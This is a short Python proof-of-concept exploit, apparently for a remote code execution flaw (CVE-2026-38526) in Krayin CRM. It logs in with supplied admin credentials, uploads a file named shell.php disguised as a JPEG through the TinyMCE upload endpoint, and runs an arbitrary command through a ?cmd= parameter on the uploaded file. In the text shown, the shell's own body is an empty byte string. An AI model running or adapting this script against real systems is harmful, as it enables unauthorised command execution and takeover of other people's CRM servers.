import requests import urllib.parse import argparse import re import subprocess import sys parser = argparse.ArgumentParser( description="CVE-2026-38526 PoC - Krayin CRM RCE", formatter_class=argparse.RawTextHelpFormatter, epilog="Example:\n python3 exploit.py -t http://krayin.example.com -u admin@example.com -p password123 -c id\n\nNote: Do not include a trailing slash in the URL." ) parser.add_argument("-t", required=True, help="Target URL (e.g. http://krayin.example.com)") parser.add_argument("-u", required=True, help="Username/email") parser.add_argument("-p", required=True, help="Password") parser.add_argument("-c", required=True, help="Command to execute") if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() TARGET = args.t.rstrip("/") session = requests.Session() r = session.get(f"{TARGET}/admin/login") token_match = re.search(r'name="_token"\s+value="([^"]+)"', r.text) form_token = token_match.group(1) xsrf = urllib.parse.unquote(session.cookies.get("XSRF-TOKEN")) r = session.post(f"{TARGET}/admin/login", json={"_token": form_token, "email": args.u, "password": args.p}, headers={ "X-XSRF-TOKEN": xsrf, "Referer": f"{TARGET}/admin/login", "Accept": "application/json", "X-Requested-With": "XMLHttpRequest", } ) xsrf = urllib.parse.unquote(session.cookies.get("XSRF-TOKEN")) r = session.post(f"{TARGET}/admin/tinymce/upload", files={"file": ("shell.php", b"", "image/jpeg")}, headers={"X-XSRF-TOKEN": xsrf} ) location = r.json().get("location") if location: url = f"{location}?cmd={urllib.parse.quote(args.c)}" result = subprocess.run(["curl", "-s", url], capture_output=True, text=True) print(result.stdout) else: print(f"[-] Upload failed: {r.status_code}")